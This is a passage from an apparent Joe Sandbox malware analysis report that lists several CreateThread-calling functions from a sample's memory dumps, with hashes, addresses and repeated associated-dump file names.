Opcode Fuzzy Hash: 65a7d10acd9f2377195a5108abb3239a7e302c0e20cdc1425729d785993c7eda
Instruction Fuzzy Hash: 6CD0A9B280A34AAFDB15EFA0C20C28F3F94FF46301F00C168F84283A51EAA14C10CE2D

Function 00694ACD Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 00694ADC

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 55c0fc159a8be1f9dd1f8f749ea96c2912081415ba79199c92c94ae1f68e2727
Instruction ID: 94fc7d2727531334926e772496f3abfc8d87d230326591b326dfd47413222be3
Opcode Fuzzy Hash: 55c0fc159a8be1f9dd1f8f749ea96c2912081415ba79199c92c94ae1f68e2727
Instruction Fuzzy Hash: B0D09EB145572D9ADB55DF60845574F3A24EF05600F109059F94149981C6B64D109F4C

Function 0068F168 Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 0068F176

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b987e06fe4c438bd0163c7f957da497703411b6bd7ff0a9fe9513a6e4234cc43
Instruction ID: 402575cbea78aa993418a0741c619880eb5b8f78f147c168e10af114aa2b5c38
Opcode Fuzzy Hash: b987e06fe4c438bd0163c7f957da497703411b6bd7ff0a9fe9513a6e4234cc43
Instruction Fuzzy Hash: E4C0122A149BD661D222B77459197CDBE406F06631F04464DE1E511CD186415505C71A

Function 0068B0E6 Relevance: 1.5, APIs: 1, Instructions: 10threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 0068B0EF

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7f8864c437e6a0265dedc14742100a7ffd1dd37513f931d08f160425d0ef8483
Instruction ID: 956c5c9963210faefdf21c1fec64a15b6005a957da86ff93c5d9b7e3e8e57628
Opcode Fuzzy Hash: 7f8864c437e6a0265dedc14742100a7ffd1dd37513f931d08f160425d0ef8483
Instruction Fuzzy Hash: 26C08C6165C3C93CDA212BB4482EB4E2E008F45700F14454CB5C0090C2C05280018B1C

Function 00699689 Relevance: 1.5, APIs: 1, Instructions: 10threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 0069968E

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6b9681521ef2e7ce9a5dbff21ad999f79039f6a25c319502d67fb071dece4217
Instruction ID: 40660ec61cef575164c289b289cbf48868e988a4bb5c38151aee755913357aba
Opcode Fuzzy Hash: 6b9681521ef2e7ce9a5dbff21ad999f79039f6a25c319502d67fb071dece4217
Instruction Fuzzy Hash: 76C08C3600A26A66DB10AF6444083AEBF599F45602F00800CB6C54A990C69908208E29

Function 0069595B Relevance: 1.5, APIs: 1, Instructions: 10threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 0069596D

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7f1634e80f9ecb42d0202e663716eee2083d831b1fcf302c21328effbf23b235
